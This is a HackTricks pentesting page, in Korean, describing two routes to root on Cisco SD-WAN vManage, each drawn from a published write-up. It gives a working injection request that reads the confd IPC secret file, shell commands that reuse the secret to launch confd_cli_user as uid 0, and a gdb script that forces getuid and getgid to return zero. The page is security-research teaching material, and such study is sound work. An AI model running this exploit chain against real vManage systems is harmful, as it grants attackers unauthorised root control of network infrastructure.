Cisco - vmanage

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

• 구독 계획 확인하기!
• **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
• HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

경로 1

(예시: https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)

confd 및 다른 바이너리와 관련된 documentation을 조금 살펴본 결과(해당 문서는 Cisco 웹사이트 계정으로 접근 가능), IPC 소켓을 인증하기 위해 /etc/confd/confd_ipc_secret에 위치한 시크릿을 사용한다는 것을 발견했다:

vmanage:~$ ls -al /etc/confd/confd_ipc_secret

-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret

우리 Neo4j 인스턴스 기억나나요? 이 인스턴스는 vmanage 사용자 권한으로 실행되므로, 이전 vulnerability를 이용해 파일을 가져올 수 있습니다:

GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1

Host: vmanage-XXXXXX.viptela.net



[...]

"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}

confd_cli 프로그램은 명령줄 인수를 지원하지 않지만 인수를 전달하여 /usr/bin/confd_cli_user를 호출합니다. 따라서 /usr/bin/confd_cli_user를 직접 호출해 자체 인수로 실행할 수 있습니다. 하지만 현재 권한으로는 이를 읽을 수 없으므로 rootfs에서 가져와 scp로 복사한 뒤 도움말을 확인하고 이를 이용해 쉘을 획득해야 합니다:

vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret

vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret

vManage:~$ /tmp/confd_cli_user -U 0 -G 0

Welcome to Viptela CLI

admin connected from 127.0.0.1 using console on vManage

vManage# vshell

vManage:~# id

uid=0(root) gid=0(root) groups=0(root)

경로 2

(예시: https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)

synacktiv 팀의 블로그¹는 root shell을 얻는 우아한 방법을 설명했지만, 단점은 /usr/bin/confd_cli_user 사본을 얻어야 한다는 점이며 해당 파일은 root만 읽을 수 있다. 나는 그런 번거로움 없이 root로 권한 상승하는 다른 방법을 찾았다.

내가 /usr/bin/confd_cli 바이너리를 역어셈블했을 때, 다음을 관찰했다:

vmanage:~$ ps aux
… snipped …
root     28644  0.0  0.0   8364   652 ?        Ss   18:06   0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …

set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run